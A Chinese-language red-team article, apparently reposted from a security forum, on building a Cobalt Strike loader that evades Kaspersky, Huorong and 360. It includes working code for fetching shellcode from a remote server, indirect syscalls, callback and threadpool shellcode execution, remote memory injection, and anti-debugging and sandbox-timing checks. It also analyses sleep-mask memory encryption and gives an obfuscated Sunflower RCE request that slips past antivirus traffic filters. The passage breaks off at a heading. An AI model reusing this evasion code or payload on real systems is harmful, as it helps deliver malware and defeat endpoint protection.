动态逃逸杀软

admin 2024年12月4日22:22:19评论10 views字数 22376阅读74分35秒阅读模式

原文链接:

https://xz.aliyun.com/t/16486?time__1311=GuD%3DqmxGxdGNpqeqBK0QFn4Wu7LWKIeD

本文分享的动态逃逸杀软,主要聚焦在流量、内存、行为上进行规避,并且组合了间接系统调用、反调试、反沙箱等技术进一步对抗杀软,也为后续综合逃逸EDR/XDR打下良好的基础,测试使用企业版卡巴斯基、火绒6.0、360开启晶核状态,完整代码已经上传Github

流量规避

Cobalt Strike为了提供了非常灵活的流量调整,我们需要修改profile中的流量,我这里的配置修改了热门项目的4.9的内容,默认的jquery流量已经被杀毒和EDR标记严重,卡巴斯基对于这种流量是直接秒杀的,而且即使是启用https监听对于杀毒没有意义,杀毒安装的时候默认就把自己的根证书安装上了系统,所以是可以解密https,如下图

动态逃逸杀软

需要提前说明,如果VPS被沙箱和情报标记为恶意ip那无论怎么改流量都会秒杀,我搞了一下午发现无论怎么改都过不了卡巴的流量,后面注意到可能是我服务器ip被拉黑了

动态逃逸杀软

威胁原因是云保护,换个ip就行了:

动态逃逸杀软

为了修改流量,需要快速学习profile的语言,阅读文档,我们可以知道http-get部分是拉取请求服务要执行的内容,为了区分不同的beacon,metadata就是加密好的元数据,为了让metadata看起来不可疑,使用了base64url对元数据进行编码,同时用header指定了Cookie头,用prepend添加一些正常的数据

动态逃逸杀软

我们可以运行一下c2lint看看流量呈现的效果

./c2lint endlessparadox.profile

动态逃逸杀软

server是控制响应output字段,mask代表随机xor加密,base64放在后面会进一步编码加密的流量降低流量的熵值

动态逃逸杀软

大部分师傅都是做web出身应该很容易理解这些配置文件字段,流量效果如下,完全融入正常流量:

动态逃逸杀软

再看一下http-post,这部分是beacon发送执行命令和任务的结果,id来确定任务序列,output自然就是任务的结果,处理也就经过了mask加密和base64url编码

动态逃逸杀软

下面就是模拟的流量请求:

动态逃逸杀软

在原有的基础上修改还是比较容易,上面的流量就是我用bp抓取了B站的流量,借此模拟合法B站的请求,原版的github里面的请求对着一个静态资源发送POST请求确实是很可疑?师傅也可以抓取其他流量,按照正常的网站修改就好了。

分阶段的shellcode不会加密流量非常坑,同时为了避免空间测绘识别我的C2我关掉了host_stage,当c2lint所有检查通过之后就可以愉快的拉起cs去测试了

动态逃逸杀软

网络获取shellcode

为了分离shellcode和加载器,我使用内置windows api的InternetOpenA去获取远程服务中的shellcode

std::vector<unsignedchar>DownloadShellcode(constchar*url){std::vector<unsignedchar>shellcode;HINTERNEThInternet=InternetOpenA("MyApp",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);if(hInternet){HINTERNEThUrl=InternetOpenUrlA(hInternet,url,NULL,0,INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_KEEP_CONNECTION,0);if(hUrl){DWORDbytesRead=0;constDWORDbufferSize=4096;BYTEbuffer[bufferSize];while(InternetReadFile(hUrl,buffer,bufferSize,&bytesRead)&&bytesRead!=0){shellcode.insert(shellcode.end(),buffer,buffer+bytesRead);}InternetCloseHandle(hUrl);}InternetCloseHandle(hInternet);}returnshellcode;}

自解密的shellcode

我现在不想引入其他算法再去解密我们的shellcode,硬编码key不是最佳实现,目前常用的算法总会被少数几个杀毒和edr标记为可疑,我们应该处理shellcode,实现自解密,不过对于我这种一般的开发者纯汇编实现有些过于困难;而且有枪不用,用气功,怎么成为一代宗师?所以我这里使用了Sgn工具,它会帮我们处理shellcode实现运行时候自解密

./sgn --arch=64 -S -i shellcode.txt

-S是代表安全生成shellcode, -i指定我们要处理的shellcode文件,--arch=64代表指定处理64位的

它处理Payload的流程如下:

动态逃逸杀软

根据大佬写的算法随机空间非常大,杀毒别说抓特征,写出Yara规则都不可能:

动态逃逸杀软

需要注意一个问题,自解密的Shellcode是需要内存区域为RWX权限,对付杀软倒是还行,对付更厉害的EDR/XDR会被重点关照,因此自解密的shellcode也不是什么灵丹妙药,最多作为一种备选的方案

Windows API通过系统调用

我们用Windbg打个断点到VirutalAlloc这边,跟进去来看看正常API调用的流程,注意堆栈调用和反汇编区域:

动态逃逸杀软

右下方是正常windows api调用的一个正常路径,最下方这两个是线程启动正常的调用,我们暂时不管:

0700000054`5532fa4000007ff8`9a76af38KERNEL32!BaseThreadInitThunk+0x1d0800000054`5532fa7000000000`00000000ntdll!RtlUserThreadStart+0x28

和程序有关入口其实是就是main函数,也就是callback!main+0x99,其他都是一些C库的东西,和windows api没关系:

0:000>k# Child-SP RetAddr Call Site0000000054`5532f7d800007ff8`97a3a5f8ntdll!NtAllocateVirtualMemory0100000054`5532f7e000007ff6`c39d1639KERNELBASE!VirtualAlloc+0x480200000054`5532f82000007ff6`c39e31f9callback!main+0x990300000054`5532f92000007ff6`c39e3332callback!invoke_main+0x390400000054`5532f97000007ff6`c39e33becallback!__scrt_common_main_seh+0x1320500000054`5532f9e000007ff6`c39e33decallback!__scrt_common_main+0xe0600000054`5532fa1000007ff8`98f1259dcallback!mainCRTStartup+0xe

其实就是正常的流程就是callback!main+0x99 -->> KERNELBASE!VirtualAlloc+0x48 -->> ntdll!NtAllocateVirtualMemory -->> ntoskrnl.exe,我稍微画个图更加直观:

动态逃逸杀软

Syscall就是要跳过KERNELBASE!VirtualAlloc+0x48这一步,直接或者间接发起Syscall,达到绕过hook在KERNELBASE的杀毒:

动态逃逸杀软

我们可以看看右上角反汇编的代码,系统本身是怎么发起syscall的:

ntdll!NtAllocateVirtualMemory:00007ff8`9a7b04c04c8bd1movr10,rcx00007ff8`9a7b04c3b818000000moveax,18h00007ff8`9a7b04c8f604250803fe7f01testbyteptr[SharedUserData+0x308(00000000`7ffe0308)],100007ff8`9a7b04d07503jnentdll!NtAllocateVirtualMemory+0x15(00007ff8`9a7b04d5)00007ff8`9a7b04d20f05syscall00007ff8`9a7b04d4c3ret00007ff8`9a7b04d5cd2eint2Eh00007ff8`9a7b04d7c3ret00007ff8`9a7b04d80f1f840000000000nopdwordptr[rax+rax]

要发起syscall其实很简单,看上去只需要将系统调用号放入 RAX 寄存器,然后直接syscall就可以了,这个例子是NtAllocateVirtualMemory,调用号是18h,只要参数就位,进入寄存器就可以直接进入内核模式了。

但是有一个关键的问题,我们是不知道具体NTAPI的系统调用号的呀!

系统调用号不同版本的windows都不一样,我们一方面要不硬编码所有的系统调用号到loader里面,要不就只能手动解析ntdll.dll来动态获取系统调用号,这些都不是简单的工作,直到SysWhispers的出现直到SysWhispers出现才真正方便的恶意代码开发者,SysWhispers经过多轮迭代,现在已经有SysWhispers3这类规避极强的方案出现,内置了多种不同的syscall方案。

根据大佬博客, 对于静态规避直接系统调用的是不行的,杀毒会杀syscall这个指令,因为系统上硬编码syscall的只可能有ntdll.dll有,我们编写shellcode loader还是得用间接系统调用

syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory -o SysWhispers
  • -m jumper_randomized指定跳跃间接系统随机化
  • -f 指定要使用的NtAllocateVirtualMemory api
  • -a 指定64位架构

这里工具的使用比较简单,就鼓励大家自己探索一下了

动态逃逸杀软

通过上述命令,将会生成随机间接系统调用的三个文件,添加进我们的项目里面,之后还要启用MASM才能正常编译:

动态逃逸杀软

动态逃逸杀软

用起来就和几乎和正常API一样,稍微要注意的是,NTAPT一般会多几个参数,这部分花时间看看文档,稍微麻烦一点;我们再看看它生成的关键汇编代码:

.code EXTERN SW3_GetSyscallNumber: PROC EXTERN SW3_GetRandomSyscallAddress: PROC Sw3NtAllocateVirtualMemory PROC mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 019911121h ; Load function hash into ECX. call SW3_GetRandomSyscallAddress ; Get a syscall offset from a different api. mov r11, rax ; Save the address of the syscall mov ecx, 019911121h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r11 ; Jump to -> Invoke system call. Sw3NtAllocateVirtualMemory ENDP end

比较有意思的点,它使用了API HASH技术规避硬编码字符串到二进制文件里面,同时获取了随机syscall地址,这样发出syscall的地方虽然还是ntdll.dll,但是确实完全不同的API地址,这可以规避掉NTDLL的hook(因为杀软不可能hook所有API,不然我们的电脑要卡死了)

虽然理论上安全软件依然可以Hook内核,但是出于安全考虑,微软阻止了这种行为,KPP蓝屏警告!实际上,安全产品无法真正Hook内核,有些是hook ntdll来解决,有些是使用内核ETW来收集调用日志,再做决策,所以理论上是Syscall是操作安全的;2024年,间接系统调用依然非常好用。

shellcode执行方案选择

红队开发需要权衡当前的环境情况来选择不同的方案,编写执行方法一般分为两个大方向,一种是在我们加载器内部执行,另一种是注入其他进程执行;内部执行好处是非常容易规避杀软的检测,而且很轻量,但是代价是假如恶意操作失误,被杀软标记后会立刻销毁我们的加载器,作为一次性的使用物品是非常合适;注入后执行的代价是注入动作比较敏感,但是后续操作操作即使是失误也不会立刻关联到我们编写的加载器,非常适合反复使用

回调函数执行

本身杀毒对回调函数查杀不严格,我只需要把回调的执行地址指向shellcode地址即可执行,非常简单,用EnumChildWindows举个例子,Address直接指向我们分配的内存地址就好了

EnumChildWindows(NULL,(WNDENUMPROC)Address,NULL)

著名AlternativeShellcodeExec的有大量回调函数,可以直接拿来使用,回调本身没啥好说的,因为涉及到背后的消息处理机制可能很复杂也可能很简单,要规避强就用线程池回调就可以了。

boolCreateAndTriggerEvent(PTP_WAIT_CALLBACKWaitCallback){// 创建事件对象HANDLEhEvent=CreateEvent(NULL,FALSE,FALSE,NULL);if(hEvent==NULL){//std::cerr << "Failed to create event." << std::endl;returnfalse;}// 创建线程池等待对象PTP_WAITwait=CreateThreadpoolWait(WaitCallback,NULL,NULL);if(wait==NULL){//std::cerr << "Failed to create wait object." << std::endl;CloseHandle(hEvent);returnfalse;}// 将事件关联到线程池等待对象SetThreadpoolWait(wait,hEvent,NULL);// 模拟触发事件if(!SetEvent(hEvent)){//std::cerr << "Failed to set event." << std::endl;CloseThreadpoolWait(wait);CloseHandle(hEvent);returnfalse;}// 进入无限等待,确保shellcode的线程不会执行完就退出WaitForSingleObject(GetCurrentProcess(),INFINITE);// 清理资源//CloseThreadpoolWait(wait);//CloseHandle(hEvent);returntrue;}//触发这个回调函数CreateAndTriggerEvent((PTP_WAIT_CALLBACK)Address);

Windows有大量的回调方法,配合获取shellcode方法可以组合出上百种免杀方案,而且好处是简单而小,杀毒无法查杀,使得可以轻而易举到达一个静态很好的规避查杀的效果

动态逃逸杀软

间接系统调用升级传统APC注入

通过刚才的方法,我们就可以轻松升级我们的APC注入代码了,用 SysWhispers3生成一下我们接下来要调用的NTAPI就可以了.

pythonsyswhispers.py-ax64-cmsvc-mjumper_randomized-fNtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtQueueApcThread-oapcsyscall-v

修改一下inject注入方法,NTAPI和原本的标准API无非就是多了几个参数,可以做更加细腻的控制:

std::tuple<BOOL,PVOID>syscallInject(HANDLEhProcess,PBYTEpShellcode,SIZE_TsSizeOfShellcode){SIZE_TsNumberOfBytesWritten=NULL;PVOIDpAddress=nullptr;NTSTATUSSTATUS1=Sw3NtAllocateVirtualMemory(hProcess,&pAddress,NULL,&sSizeOfShellcode,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);if(STATUS1!=0){std::cout<<"Windows Error code is "<<GetLastError()<<std::endl;returnstd::make_tuple(FALSE,nullptr);}if(pAddress==NULL){std::cout<<"Windows Error code is "<<GetLastError()<<std::endl;returnstd::make_tuple(FALSE,nullptr);}NTSTATUSSTATUS2=Sw3NtWriteVirtualMemory(hProcess,pAddress,pShellcode,sSizeOfShellcode,&sNumberOfBytesWritten);if(STATUS2!=0){std::cout<<"Windows Error code is "<<GetLastError()<<std::endl;returnstd::make_tuple(FALSE,nullptr);}DWORDdwOldProtection=NULL;NTSTATUSSTATUS3=Sw3NtProtectVirtualMemory(hProcess,&pAddress,&sSizeOfShellcode,PAGE_EXECUTE_READWRITE,&dwOldProtection);if(STATUS3!=0){std::cout<<"Windows Error code is "<<GetLastError()<<std::endl;returnstd::make_tuple(FALSE,nullptr);}returnstd::make_tuple(TRUE,pAddress);}

由于我们的使用的Sw3NtAllocateVirtualMemory函数直接分配内存,这意味着这块分配的内存区域没有任何关联在磁盘上的PE文件,这对于杀毒来说是可疑的,系统内存区域有执行x权限的通常情况下会关联到一个dll

动态逃逸杀软

没有执行权限的一般会给动态数据内存,这部分不会关联dll:

动态逃逸杀软

这部分就像是JAVA中的内存马一样,没有磁盘上class文件,内存马扫描器就能找到可疑的活动。要解决这部分查杀我们得使用模块踩踏技术,这部分就留到后续再分享吧;

反调试

为了避免安全分析的工程师调试我们的loader,我们可以尝试加入反调试技术,目前的调试器都会自动扑获异常,只需要我们故意触发一个异常即可

#include<iostream>#include<Windows.h>BOOLisDebugged=TRUE;LONGWINAPICustomUnhandledExceptionFilter(PEXCEPTION_POINTERSpExceptionPointers){isDebugged=FALSE;returnEXCEPTION_CONTINUE_EXECUTION;}intmain(){PTOP_LEVEL_EXCEPTION_FILTERpreviousUnhandledExceptionFilter=SetUnhandledExceptionFilter(CustomUnhandledExceptionFilter);RaiseException(EXCEPTION_FLT_DIVIDE_BY_ZERO,0,0,NULL);SetUnhandledExceptionFilter(previousUnhandledExceptionFilter);if(isDebugged){exit(0);}std::cout<<"Now IS TIME TO REAL FUNN "<<'n';}

自定义异常分三步:

第一步:设置异常处理函数SetUnhandledExceptionFilter,并且指向我们的自定义的异常处理函数,函数返回指定为EXCEPTION_CONTINUE_EXECUTION,意味着遇到错误继续执行后续代码第二步:主动升起异常函数RaiseException第三步:恢复之前保存的previousUnhandledExceptionFilter,此时isDebugged已经是Ture,直接退出程序

一旦我下个断点就会是这样,处有未经处理的异常,后续继续调试就会走到退出代码,无法调试后续的代码了:

动态逃逸杀软

我这里比较简陋,当然有很多其他高级的反调试技巧,可以具体参考最权威的https://anti-debug.checkpoint.com/进一步学习

反沙箱

沙箱经常出现在低成本的自动化识别威胁的方案中,为了避免我们的shellcode加载完成运行在沙箱中被识别出来,我这里使用了TCP关联延迟方案;基本上在加载shellcode之前,我们通过延迟一个很长的时间来规避沙箱的检查;但是现代高级的沙箱总会hook掉一些API的休眠时间,并且修改为0;最终解决方案是差异化,当沙箱的休眠时间和我们服务的休眠时间不一致的时候,就直接退出

#define _WINSOCK_DEPRECATED_NO_WARNINGS#include<iostream>#include<memory>#include<string>#include<winsock2.h>#include<ws2tcpip.h>#pragma comment(lib, "Ws2_32.lib")classWinsockInit{public:WinsockInit(){if(WSAStartup(MAKEWORD(2,2),&wsaData)!=0){throwstd::runtime_error("Error: WSAStartup failed");}}~WinsockInit(){WSACleanup();}private:WSADATAwsaData;};classSocket{public:Socket():sockfd(socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)){if(sockfd==INVALID_SOCKET){throwstd::runtime_error("Error: Could not create socket");}}~Socket(){if(sockfd!=INVALID_SOCKET){closesocket(sockfd);}}SOCKETget()const{returnsockfd;}private:SOCKETsockfd;};inthello_tcp(conststd::string&ip,intport){try{WinsockInitwinsockInit;Socketsocket;sockaddr_inserver_addr={};server_addr.sin_family=AF_INET;server_addr.sin_port=htons(port);server_addr.sin_addr.s_addr=inet_addr(ip.c_str());// 连接到服务器if(connect(socket.get(),reinterpret_cast<structsockaddr*>(&server_addr),sizeof(server_addr))==SOCKET_ERROR){throwstd::runtime_error("Error: Connect failed with error code "+std::to_string(WSAGetLastError()));}std::cout<<"Connected to servern";return0;}catch(conststd::exception&ex){std::cerr<<ex.what()<<std::endl;return1;}}

这个函数所作的事情的作为TCP和我们的服务端沟通,看看固定端口有没有开启;

hello_tcp("127.0.0.1",9999);//发起第一个TCP握手Sleep(60000);//假设沙箱hook时间,时间会归0,但是我们服务器的休眠它无法控制hello_tcp("127.0.0.1",9999);// 休眠结束,根据tcp开放的情况来判断是否是沙箱

假设沙箱10分钟后必定超时,如果hook休眠时间改为0,那么会过早请求我们的服务器,端口没能开放将会导致直接退出;如果不hook,10分钟后沙箱资源销毁了,自然也无法分析了。

服务端设计实现也很简单,就开个socks TCP监听出来休眠就是了

importsocketimporttimefromhttp.serverimportHTTPServer,BaseHTTPRequestHandlerimportthreadingimportsysdeftcp_con(sleep=bool):# 创建一个TCP/IP套接字sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)# 绑定到指定端口server_address=('0.0.0.0',9999)print('Starting up on {} port {}'.format(*server_address))sock.bind(server_address)# 开始监听连接sock.listen(1)print('Waiting for a connection...')connection,client_address=sock.accept()print('Connection from',client_address)connection.close()#反沙箱睡眠600秒,后面开启http服务if(sleep):print('ok , tcp done and will go to sleep')time.sleep(600)print('ok , sleep done')return0

内存规避

过卡巴内存据说很难,让我们来看看真的如此吗?实际上轻而易举。

Arsenal Kit是综合了多种规避技术的武器库,让我们去捞一下官方的Arsenal Kit武器库,这是官方的hash地址,SHA256是c2e1ba266aa158636ea3470ba6ab7084bb65d6811131c550d8c6357ca0bbaedd:

动态逃逸杀软

去微步在线捞一下样本:

动态逃逸杀软

下载下来解压,之后我们手工再验证一下hash就可以了:

certutil -hashfile file md5

动态逃逸杀软

我们看一下它的目录结构:

动态逃逸杀软

里面每个Kit都是一个套件,里面有详细的md文档说明解释,我们这里关注内存规避是sleepmask套件,直接跳进源码里面分析是非常痛苦的,我们得先总体熟悉一下整体的层次再去关注具体实现:

动态逃逸杀软

主要的逻辑都在sleepmask.c里面了,我画个函数调用图片:

动态逃逸杀软

执行这个BOF是生命周期现在看起来就很清晰了,BOF进入内存后,首先经过一系列的信息准备,获取需要加密内存区域的信息、之后依次执行mask函数的各种加密操作;evasive_sleep为休眠做准备,之后根据配置选择,选择休眠的模式(waitforsingleobject 或者psleep休眠),之后休眠期结束,再执行解密内存的操作,如此循环往复,就是这个sleepmask的生命周期了。

我想我们现在还是一头雾水,不过不着急,还需要看一下这些函数关键的一个struct,里面包含了这些函数执行需要的关键信息:

/******** DO NOT MODIFY FILE START ********//** beacon_ptr - pointer to beacon's base address* sections - list of memory sections beacon wants to mask.* A section is denoted by a pair indicating the start and end index locations.* The list is terminated by the start and end locations of 0 and 0.* heap_records - list of memory addresses on the heap beacon wants to mask.* The list is terminated by the HEAP_RECORD.ptr set to NULL.* mask - the mask that beacon randomly generated to apply*/typedefstruct{char*beacon_ptr;DWORD*sections;HEAP_RECORD*heap_records;charmask[MASK_SIZE];}SLEEPMASKP;/******** DO NOT MODIFY FILE END ********/

如果师傅还没储备PE结构、和内存映射的知识接下来肯定会一脸懵逼,为了保证读者的流畅性,我们快速补充一下PE知识部分的关键知识;

PE文件是Windows操作系统可执行文件格式,包括.exe.dll文件。它是基于COFF(Common Object File Format)的扩展,包含了一系列用于描述文件如何加载到内存并执行的数据结构。我们这里关注sections字段,sections字段存储了程序的代码、全局变量、资源信息。

下图是正常PE如何映射到内存中的过程:

动态逃逸杀软

涉及到BOF的载入就会变得更加复杂,不过本质其实一样,无非是解析过程变得复杂了,在内存中的状态依然一致。为了规避杀毒的特征查找,我们就需要对这部分关键的内存区域进行加密操作,这也是SLEEPMASKP结构会保存的关键信息地址。

我们现在有几个关键的疑问:

  1. 没看到mask_heap和mask_sections解密的逻辑?
  2. 是怎么加密了.text这种可执行区域的特征的?被加密了怎么恢复到原始的状态?

进去看一下加密方法,我们不难发现,实现加密的逻辑是XOR,这意味着只需要再次调用这个加密就函数就能解密,XOR本身是互逆运算,因此不需要实现新的解密方法:

/* Mask a beacon section* First call will mask* Second call will unmask*/voidmask_section(SLEEPMASKP*parms,DWORDa,DWORDb){while(a<b){*(parms->beacon_ptr+a)^=parms->mask[a%MASK_SIZE];a++;}}/* Mask the beacons sections* First call will mask* Second call will unmask*/voidmask_sections(SLEEPMASKP*parms){DWORD*index;DWORDa,b;/* walk our sections and mask them */index=parms->sections;while(TRUE){a=*index;b=*(index+1);index+=2;if(a==0&&b==0)break;mask_section(parms,a,b);}}/* Mask the heap memory allocated by beacon* First call will mask* Second call will unmask*/voidmask_heap(SLEEPMASKP*parms){DWORDa,b;/* mask the heap records */a=0;while(parms->heap_records[a].ptr!=NULL){for(b=0;b<parms->heap_records[a].size;b++){parms->heap_records[a].ptr[b]^=parms->mask[b%MASK_SIZE];}a++;}}

对于text_section区域,bof采取的是内存权限的变动,加密的时候根据配置情况使用NtProtectVirtualMemory或者VirtualProtect函数反转内存权限到PAGE_READWRITE(可读可写)

voidmask_text_section(SLEEPMASKP*parms){if(text_section.mask){#if USE_SYSCALLSSIZE_Tsize=text_section.end-text_section.start;PVOIDptr=(PVOID)(parms->beacon_ptr+text_section.start);if(0!=NtProtectVirtualMemory(GetCurrentProcess(),(PVOID)&ptr,&size,PAGE_READWRITE,&text_section.old)){text_section.mask=0;return;}#elseif(!VirtualProtect(parms->beacon_ptr+text_section.start,text_section.end-text_section.start,PAGE_READWRITE,&text_section.old)){text_section.mask=0;return;}#endifmask_section(parms,text_section.start,text_section.end);}}

对于解密操作是使用NtProtectVirtualMemory或者VirtualProtect反转回text_section.old的权限(这部分由用户的profile文件控制,一般是rwx或者rx权限)

voidunmask_text_section(SLEEPMASKP*parms){if(text_section.mask){mask_section(parms,text_section.start,text_section.end);#if USE_SYSCALLSSIZE_Tsize=text_section.end-text_section.start;PVOIDptr=(PVOID)(parms->beacon_ptr+text_section.start);NtProtectVirtualMemory(GetCurrentProcess(),(PVOID)&ptr,&size,text_section.old,&text_section.old);#elseVirtualProtect(parms->beacon_ptr+text_section.start,text_section.end-text_section.start,text_section.old,&text_section.old);#endif}}

XOR计算本身速度很快,加密解密发生在一瞬间,和Cobastrike的休眠周期(默认60s休眠)比起来可能就是千万分之一或者一亿分之一的时间窗口(现代CPU一般可以在几个时钟周期内完成,比例非常小),杀毒的从头内存扫描要想找到我们正常休眠活动的beacon几乎是不可能的。

动态逃逸杀软

我们还有一个重要的疑问,内存权限翻转为RW了,是怎么解密恢复的?没有执行权限呀。要回答这个关键的问题就要引入help stub这个内存区域,早期的CS保留了一小块内存区域拥有执行权限,而且没有被加密(也无法加密),这样杀毒就能找到这块内存区域,干掉我们的beacon,我们得想办法消除这个特征。

解决这个问题正是evasive_sleep(parms->mask, time, &info);的作用,Sleepmask采用了Ekko休眠技术;为了理解这部分我们得学几个关键window API:

CreateTimerQueueTimer API

CreateTimerQueueTimer 用于在计时器队列中创建一个计时器,该计时器到期时会触发指定的回调函数,同时给出了Parameter参数可以用于传递回调函数参数,创建的计时器会在固定时间触发。

BOOLCreateTimerQueueTimer([out]PHANDLEphNewTimer,[in,optional]HANDLETimerQueue,[in]WAITORTIMERCALLBACKCallback,[in,optional]PVOIDParameter,[in]DWORDDueTime,[in]DWORDPeriod,[in]ULONGFlags);

NtContinue API

NtContinue 的主要功能是从提供的 ThreadContext 中恢复线程的执行状态。这意味着调用这个函数的线程会被强制切换到指定的寄存器状态(包括程序计数器、堆栈指针等),并继续执行

NTSYSAPINTSTATUSNTAPINtContinue(INPCONTEXTThreadContext,INBOOLEANRaiseAlert);

这个函数给了我们可能性去操作寄存器然后跳转到任意的系统API,从而调用任意系统API。函数调用的本质实际上是参数准备在寄存器上,CPU顺序执行,熟悉x64架构的师傅应该都知道Rip寄存器控制着函数要去的地址,而参数通常使用寄存器(如 RDI, RSI, RCX, 等)来传递前几个函数参数,这就提供了无限的可能。

把上述这两个函数组合起来,并且利用ROP技巧,我们可以在定时器内执行特定的WIN API:

CONTEXTRopProtRW={0};memcpy(&RopProtRW,&CtxThread,sizeof(CONTEXT));// VirtualProtect( ImageBase, ImageTextSize, PAGE_READWRITE, &OldProtect );RopProtRW.Rsp-=8;RopProtRW.Rip=(DWORD_PTR)VirtualProtect;RopProtRW.Rcx=(DWORD_PTR)ImageBase;RopProtRW.Rdx=ImageTextSize;RopProtRW.R8=PAGE_READWRITE;RopProtRW.R9=(DWORD_PTR)&OldProtect;CreateTimerQueueTimer(&hNewTimer,hTimerQueue,(WAITORTIMERCALLBACK)NtContinue,&RopProtRW,,0,WT_EXECUTEINTIMERTHREAD);

由于CreateTimerQueueTimer指向NtContinue,这部分可以利用RopProtRW传递并转发到VirtualProtect的位置上,这样一来修改权限动作就交付给了系统本身,系统本身当然有权限执行修改内存权限,而我们只需要计算好时间,等待系统解密完成,所以说自解密的说法其实不太对,应该是系统解密才更恰当。

现代EDR一般会扫描具备执行权限的内存区域,但是如果不加密内存肯定是不行的,为了强力规避,作者又找了一个系统函数在内存中实现加密解密,这就是著名的SystemFunction032,用起来就两个参数,没什么难度。

NTSTATUSSystemFunction032(structustring*data,conststructustring*key)

现在我们再深入分析一下这个函数的实现:

前面都是一些参数准备的工作:

动态逃逸杀软

核心部分利用 CreateTimerQueueTimer 创建多个定时任务,按以下顺序执行:

time代表我们的休眠时间,旨在对其休眠恢复时间:

  • 100ms
    : 调用 spoof_stack
  • 200ms
    : 调用 NtContinue,设置为调用 VirtualProtect
  • 300ms
    : 调用 NtContinue,设置为调用 SystemFunction032
  • 400 + time ms
    : 重复调用 SystemFunction032
  • 500 + time ms
    : 调用 VirtualProtect,恢复代码段的可执行权限。
  • 600 + time ms
    : 恢复原始栈。
  • 700 + time ms
    : 调用 SetEvent,解除线程的阻塞。

动态逃逸杀软

整个生命周期实际上就是如下图,我们不难发现,如果给beacon执行任务的时间比较久的话,被EDR察觉的概率会大大增加,这部分就要求红队操作需要注意OPSEC了:

动态逃逸杀软

不看源码,直接用的话非常简单,我们执行./build.sh看看需要什么参数:

动态逃逸杀软

我这里有windows的linux子系统,直接编译导入一下:

./build.sh 49 WaitForSingleObject true indirect_randomized ./temp/

动态逃逸杀软

使用过CS插件的师傅都知道,在这边加载一下CNA就好了,记得要重启客户端才能正确生效,否则是过不了卡巴的;下次面试官再问你如何过卡巴就用我这篇文章,如果面试官说不二开就过不了,就直接用我这篇文章打脸面试官(笑),实际上根本不需要而二开:

动态逃逸杀软

不过,读者看过我之前的文章会发现有yara签名可以打标内存,但是红队无需担心,可以使用更加底层的LLVM混淆,每次编译都生成完全不同的特征,对源码打标变的毫无意义,请查看KomiMoe大佬的工作,我这里就不展开了,替换一下里面的编译器和编译参数就可以。

备注:可能LLVM混淆有bug或者致命错误会导致sleepmask加密失效甚至beacon崩溃,务必反复测试验证工作正常,如果只是为了逃逸卡巴斯基可以不混淆直接导入使用,但是商业EDR(Crowdstrike、bitdenfender这种顶级的)必须混淆,因为会集成内存yara规则重点打击。

上线测试

把这些技术组合在一起,一个不错的loader就起来了,起码应付99%杀毒和初级的分析人员没问题。

行为规避

当然上线完成还不够,我们上线完成之后如果要做各种敏感的操作,例如进程注入、内存执行.net程序、执行键盘监控、dump lsass内存、加入后门项持久化等,有行为检测的杀毒都会秒杀这种恶意操作,这个时候就需要我们针对这些进行特化规避,这些都是非常复杂深入的话题,我这里快速帮师傅过一下。

进程注入

上线之后,CS默认的注入已经被查杀严重了,我们可以看一下配置文件用了什么类型的注入,我们CS配置文件写明了会执行下面4种注入

execute{#Theorderisimportant!Eachstepwillbeattempted(ifapplicable)untilsuccessful##self-injectionCreateThread"ntdll!RtlUserThreadStart+0x42";CreateThread;##Injectionviasuspenedprocesses(SetThreadContext|NtQueueApcThread-s)#OPSEC-whenyouuseSetThreadContext;yourthreadwillhaveastartaddressthatreflectstheoriginalexecutionentrypointofthetemporaryprocess.#SetThreadContext;NtQueueApcThread-s;##Injectionintoexistingprocesses#OPSECUsesRWXstub-DetectedbyGet-InjectedThread.Lessdetectedbysomedefensiveproducts.#NtQueueApcThread;#CreateRemotThread-Vanillacrossprocessinjectiontechnique.Doesn'tcrosssessionboundaries#OPSEC-firesSysmonEvent8CreateRemoteThread;#RtlCreateUserThread-Supportsallarchitecturedependentcornercases(e.g.,32bit->64bitinjection)ANDinjectionacrosssessionboundaries#OPSEC-firesSysmonEvent8.UsesMeterpreterimplementationandRWXstub-DetectedbyGet-InjectedThreadRtlCreateUserThread;}

完全理解这些注入原理不在本篇讨论范围,目前只需要知道所有技术的注入受限于底层的注入原理,并非所有的注入都能成功,而且杀毒查杀默认的严重,对付杀毒尽量不要使用原生的注入,目前Github上已经有很多开箱的高级注入可以使用,建议使用最近发布的线程池注入

虽然我们习惯性使用APC注入、DLL注入、线程池注入这种说法,但是深入研究其实可以分解为分配内存技术+写入技术+执行技术,Black Hat的演讲Process Injection Techniques - Gotta Catch Them All,对于这几年的注入技术总结的非常全面,如果师傅深入理解背后的工作原理之后,开发出相关注入技术的变体还是很容易的。

流量层面的漏洞防御绕过

漏洞防御杀毒吹嘘的很牛逼,我们实际来看看,这是一个古老的向日葵漏洞,公开的POC发送,我们的payload被拦截了,不用说是正则匹配:

动态逃逸杀软

绕过正则没啥难度,搞Web出身的师傅怎么可能还搞不定你的流量拦截,稍微fuzz变形就绕过了,杀毒不是WAF,没啥好说的,太弱了:

动态逃逸杀软

GET /check?cmd=ping//////88ukjvyjufhilhl//..//../././././/..//../..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2FpOweRshELl.exe+'echo%20vF2T7n' HTTP/1.1 Host: 192.168.43.171:49807 User-Agent: Mozilla/5.0 (Windows NT 6.1; gez-ER; rv:1.9.0.20) Gecko/6930-02-04 18:22:36 Firefox/3.6.19 Accept-Encoding: gzip, deflate, br Accept: */* Connection: keep-alive Content-Type: application/x-www-form-urlencoded Cookie: CID=sobGzXzWBfSlSbdqnmkUbJMLEjhssRx1

执行命令也没问题,大部分杀毒本身就对这类流量混淆后的payload无能为力:

动态逃逸杀软

360之前还能过的,现在杀进程链了,就过不了了。

进程行为、进程链的监控

